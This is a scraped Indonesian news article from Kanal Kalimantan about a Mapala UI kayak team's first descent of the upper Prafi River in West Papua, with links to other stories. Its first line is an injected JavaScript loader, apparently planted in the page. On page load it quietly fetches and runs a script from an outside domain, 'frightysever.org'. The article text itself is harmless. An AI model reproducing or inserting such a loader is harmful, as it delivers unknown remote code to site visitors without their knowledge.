(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Tim kayak sebanyak lima anggota dari Mahasiswa Pencinta Alam Universitas Indonesia ( Mapala UI) berhasil mengarungi bagian hulu Sungai Prafi di Papua Barat pertama kalinya. Pengarungan sejauh 16 kilometer yang memakan waktu selama enam hari ini dilakukan pada 16 hingga 21 Agustus 2018. Tim mulai turun sungai dari Kampung Kwau dan keluar sungai di Kampung Snaimboy.
Penanggung jawab Teknis Eksplorasi Sungai Prafi Mapala UI, Salsabila Altje mengatakan sungai ini memiliki karakteristik yang berbeda dengan sungai di Jawa.
“Arusnya deras dan kontinu tanpa ada bagian yang tenang. Hutan dan gunung yang mengapit sungai masih alami,†ujar Salsa dalam keterangan tertulis.
Tujuan dari pada pengarungan ini adalah untuk menginisiasi wisata arum jeram di daerah Manokwari. “Bagian bawah sungai ini dengan tinggi muka air saat pengarungan kemarin memiliki jeram grade 2-3 yang dapat diarungi perahu karet wisata. Sementara bagian atas Prafi dengan jeram grade 4-5 lebih cocok diarungi menggunakan kayak,†ujar Lody Korua, pelaku industri pariwisata arung jeram di Jawa Barat yang juga turut serta dalam pengarungan kali ini.
Jeram-jeram di bagian atas Prafi antara lain dinamai oleh tim sebagai Jeram Kasuari, Jeram Cenderawasih dan Jeram Turun-turun.
Sementara beberapa jeram di bagian bawah Prafi dinamai Jeram Zigzag, Jeram Rock n Roll dan Jeram Panjang. Adapun pengarungan Sungai Prafi ini tergabung dalam rangkaian Ekspedisi Bumi Cenderawasih Mapala UI.
Ekspedisi tersebut merupakan realisasi dari Tri Dharma Perguruan Tinggi, yaitu Pendidikan dan Pengajaran, Penelitian dan Pengembangan serta Pengabdian Masyarakat. “Harapan kami dengan melakukan pengarungan di Sungai Prafi ini adalah agar pengembangan wisata arung jeram di Papua Barat dapat berkembang secara lebih pesat sehingga kemudian pemasukan daerah dari sektor pariwisata dapat bertambah,†kata Ketua Pelaksana Ekspedisi Bumi Cenderawasih, Fathan Qorib. Dalam ekspedisi ini, Mapala UI didukung penuh oleh Pemprov Papua Barat, Pemkab Pegunungan Arfak, TNI, PT. PLN (Persero), PT Eigerindo Multi Produk Industri (Eiger), Madu Bima, Tanamduit, Telkomsel, serta Sendal IKJ. (kmps)
KANALKALIMANTAN.COM, MARTAPURA - Bappedalitbang Kabupaten Banjar menggelar rapat persiapan pelaksanaan Musyawarah Perencanaan Pembangunan (Musrenbang) Kecamatan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Sidang kasus gratifikasi proyek Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Provinsi… Read More
KANALKALIMANTAN.COM - 6 Januari diperingati sebagai Hari Anak Yatim Korban Perang se Dunia. Momentum hari… Read More
KANALKALIMANTAN.COM, JAKARTA - Setelah berhasil mengamankan sistem kelistrikan saat periode Natal 2024, Direktur Utama PLN… Read More
KANALKALIMANTAN.COM, MARTAPURA - Rangkaian kegiatan Haul ke-20 Guru Sekumpul di Musholla Ar-Raudhah, Martapura, Kabupaten Banjarbaru,… Read More
KANALKALIMANTAN.COM, MARTAPURA - Habib Husein bin Ja'far Al Hadar atau yang dikenal Habib Ja'far, anak… Read More
This website uses cookies.